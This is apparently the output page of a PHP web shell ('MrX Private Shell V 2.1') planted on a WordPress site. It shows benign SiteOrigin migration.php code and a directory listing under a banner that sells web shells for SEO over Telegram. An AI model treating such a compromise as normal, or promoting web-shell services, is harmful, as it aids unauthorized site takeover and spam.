����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Go through all the old PB widgets and change them into far better visual editor widgets
*
* @param array $panels_data
*
* @return array
*/
function siteorigin_panels_legacy_widget_migration($panels_data){
if( !empty($panels_data['widgets']) && is_array($panels_data['widgets']) ) {
foreach( $panels_data['widgets'] as &$widget ) {
switch($widget['panels_info']['class']) {
case 'SiteOrigin_Panels_Widgets_Gallery':
$shortcode = '[gallery ';
if( !empty($widget['ids']) ) $shortcode .= 'ids="' . esc_attr( $widget['ids'] ) . '" ';
$shortcode = trim($shortcode) . ']';
$widget = array(
'title' => '',
'filter' => '1',
'type' => 'visual',
'text' => $shortcode,
'panels_info' => $widget['panels_info']
);
$widget['panels_info']['class'] = 'SiteOrigin_Widget_Editor_Widget';
break;
case 'SiteOrigin_Panels_Widgets_Image':
if( class_exists('SiteOrigin_Panels_Widgets_Image') ) {
ob_start();
the_widget( 'SiteOrigin_Panels_Widgets_Image', $widget, array(
'before_widget' => '',
'after_widget' => '',
'before_title' => '',
'after_title' => '',
) );
$widget = array(
'title' => '',
'filter' => '1',
'type' => 'visual',
'text' => ob_get_clean(),
'panels_info' => $widget['panels_info']
);
$widget['panels_info']['class'] = 'SiteOrigin_Widget_Editor_Widget';
}
break;
}
}
}
return $panels_data;
}
add_filter('siteorigin_panels_data', 'siteorigin_panels_legacy_widget_migration');| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| img | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| less | Folder | 0755 |
|
|
| lib | Folder | 0755 |
|
|
| widgets | Folder | 0755 |
|
|
| error_log | File | 3.76 KB | 0644 |
|
| migration.php | File | 1.56 KB | 0644 |
|
| widgets.php | File | 31.95 KB | 0644 |
|